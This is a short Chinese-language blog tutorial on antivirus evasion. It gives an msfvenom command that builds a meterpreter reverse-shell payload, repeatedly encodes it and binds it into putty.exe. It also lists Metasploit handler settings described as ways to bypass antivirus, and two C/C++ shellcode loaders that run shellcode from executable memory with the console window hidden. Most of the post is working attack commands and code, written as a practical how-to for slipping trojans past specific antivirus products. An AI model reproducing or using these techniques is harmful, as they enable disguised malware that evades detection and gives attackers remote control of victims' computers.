免杀初识
简述
免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。
免杀大概可以分为两种情况:
- 二进制的免杀(无源码),只能通过通过修改asm代码/二进制数据/其他数据来完成免杀。
- 有源码的免杀,可以通过修改源代码来完成免杀,也可以结合二进制免杀的技术。
免杀也可以分为这两种情况:
- 静态文件免杀,被杀毒软件病毒库/云查杀了,也就是文件特征码在病毒库了。免杀方式可能是上面的两种方式,看情况。
- 动态行为免杀,运行中执行的某些行为被杀毒软件拦截报读。行为免杀如果没有源码就不是很好搞了。
具体可看:https://mp.weixin.qq.com/s/HjaOgY_ZGjxZaxgcgm2QYg
常见名词
- shellcode 一段二进制恶意指令
- Windows内存操作:https://luckyfuture.top/BypassAVLearning.html
常见的使用工具免杀
- msf捆绑+编码免杀(一般可过360静有可能过动。火绒则不行)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -x putty.exe -i 15 -f exe -o payload4.exe
参数说明:
使用x86/shikata_ga_nai生成payload,参数-i为编码次数,我这里设置15次,并使用了-b参数去掉payload中的空字符
-x 捆绑的程序
msf监听方面也可以设置https还有一些参数进行绕过杀软
msf exploit(multi/handler) > set EnableStageEncoding true //尝试使用不同的编码器对stage进行编码,可能绕过部分杀软的查杀
EnableStageEncoding => true
msf exploit(multi/handler) > set stageencoder x86/fnstenv_mov
Stageencoder => x64/xor
msf exploit(multi/handler) > set stageencodingfallback false
stageencodingfallback => false
具体可看:https://www.yuque.com/tidesec/bypassav/e5bb94c4b1a643fa8d1ce5d505d12c84#g5Atm
c/c++的shellcode加载器
申请动态内存加载
#include<stdio.h>
#include<Windows.h>
# pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//设置入口地址,不弹出黑窗口
unsigned char buf[] =
"shellcode";
int main()
{
PVOID Memory;
Memory = VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
//动态分配虚地址空间
memcpy(Memory,buf,sizeof(buf));
//复制内存内容
((void(*)())Memory)();
}
内联汇编加载
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] = "shellcode";
void main()
{
__asm
{
mov eax, offset shellcode
jmp eax
}
}
版权声明:本文为原创文章,版权归 Bill's Blog 所有,转载请注明出处!如相关链接出现404,可以在文章下面评论留言。